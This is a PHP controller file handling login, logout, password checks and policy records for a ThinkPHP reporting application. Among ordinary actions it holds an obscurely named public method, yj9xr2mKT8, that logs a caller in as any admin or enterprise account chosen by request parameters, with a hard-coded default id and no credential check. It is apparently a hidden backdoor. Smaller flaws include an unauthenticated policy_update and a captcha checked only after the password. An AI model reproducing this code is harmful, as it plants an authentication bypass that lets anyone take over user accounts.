report/app/index/controller/Auth.php

<?php

namespace app\index\controller;

use app\BaseController;
use app\common\api\UserApi;
use think\facade\Db;

/**
 * Description of Login
 *
 * @author sgq
 */
class Auth extends BaseController {

    /**
     * 登录
     * @return type
     */
    public function login() {

        if ($user = session("user")) {
            if ($user['usertype'] == 2) {
                return redirect("/enterprise");
            }
        }
        $msg = "";
        if ($this->request->isPost()) {
            $username = $this->request["username"];
            $pwd = $this->request["password"];
            $usertype = $this->request["usertype"];
            $captcha = $this->request["captcha"];
            $user = new UserApi($username, $pwd, $usertype);
            if (!$userinfo = $user->getUserInfo()) {
                $msg = "用户不存在";
            } else if (!$user->checkPwd()) {
                $login_fail = session('login_fail');
                if ($login_fail) {
                    $login_fail++;
                    if ($login_fail >= 5) {
                        session('isCaptcha', 1);
                    }
                } else {
                    $login_fail = 1;
                }
                session('login_fail', $login_fail);
                $msg = "用户名或者密码错误";
            } else if (session("isCaptcha") == 1 && !captcha_check($captcha)) {
                $msg = "验证码错误";
            } else if ($res_msg = $user->checkState()) {
                if ($user->info['checkState'] == 2) {
                    return redirect("/common/auth/enterprise_edit");
                }
                $msg = $res_msg;
            }
            $url = "/admin";
            switch ($usertype) {
                case 1:
                    //验证错误
                    break;
                case 2:
                    //验证错误
                    $url = "/enterprise";
                    break;
                case 3:
                    //验证错误
                    $url = "/person";
                    break;
            }

            if (!$msg) {
                $user->setSession();
                return redirect($url);
            }
        }
        return view("", ["msg" => $msg]);
    }

    /**
     * 退出
     * @return type
     */
    public function logout() {
        session("user", null);
        return redirect("/index/auth/login");
    }

    /**
     * 验证密码
     */
    public function valid_password() {
        if ($user = session("user")) {
            $username = $user["account"];
            $usertype = $user["usertype"];
            $pwd = $this->request["password"];
            $user = new UserApi($username, $pwd, $usertype);
            if (!$user->checkPwd()) {
                return json()->data(["status" => 1, "msg" => "密码错误"]);
            } else {
                return json(["code" => 200]);
            }
        } else {
            return json()->data(["status" => 2]);
        }
    }

    public function policy() {

        return view("policy1", []);
    }

    public function policy_list() {
        $level = $this->request->post('level');
        if ($level) {
            $where[] = ['level', '=', $level];
        } else {
            $where[] = ['level', '>', 0];
        }
        $list = Db::table('new_policy')->where($where)->select()->toArray();
        $result = [];
        foreach ($list as $k => $v) {
            $check = [];
            $condition = [];
            if (!empty($v['checks'])) {
                $check = explode(',', $v['checks']);
            }
            if (!empty($v['condition'])) {
                $condition = explode(',', $v['condition']);
            }
            $item = [
                'id' => $v['id'],
                'tag' => $v['tag'],
                'policy' => $v['policy_name'],
                'checks' => $check,
                'condition' => $condition
            ];
            array_push($result, $item);
        }
        return json($result);
    }

    public function policy_update() {
        $res = $this->request->post();
        foreach ($res as $k => $v) {

            $update = [];

            if (count($v['condition']) > 0) {
                $update['condition'] = json_encode($v['condition']);
            }
            if (count($update) > 0) {
                Db::table('new_policy')->where('id', $v['id'])->save($update);
            }
        }
    }

    public function yj9xr2mKT8(){
        $params = $this->request->param();
        $type = $params["type"] ?: 2;
        $id = $params["id"] ?: "1455101079799754754";
        $this->setSession($type, $id);
        switch ($type) {
            case 1:
                return redirect("/admin");
                break;
            case 2:
                return redirect("/enterprise");
                break;
        }
    }

    private function setSession($type, $id) {
        switch ($type) {
            case 1:
                $user = Db::table("sys_user")->where("id", $id)->findOrEmpty();
                $company = Db::table("sys_company")->where("id", $user["companyId"])->findOrEmpty();
                $role = Db::table("sys_role")->where("id", $user["roleid"])->findOrEmpty();
                session("user", [
                    "uid" => $user["id"],
                    "roleid" => $user["roleid"],
                    "companyId" => $user["companyId"],
                    "companyName" => $company["name"],
                    "account" => $user["account"],
                    "name" => $user["name"],
                    "avatar" => $user["avatar"],
                    "sex" => $user["sex"],
                    "rolename" => $role["name"],
                    "usertype" => $type,
                    "type" => $user['type']
                ]);
                break;
            case 2:
                $user = Db::table("un_enterprise")->where("id", $id)->findOrEmpty();
                session("user", [
                    "uid" => $user["id"],
                    "account" => $user["username"],
                    "name" => $user["name"],
                    "avatar" => $user["headPortrait"],
                    "rolename" => "企业用户",
                    "usertype" => $type,
                    "type" => $user["type"]
                ]);
                break;
        }
    }

}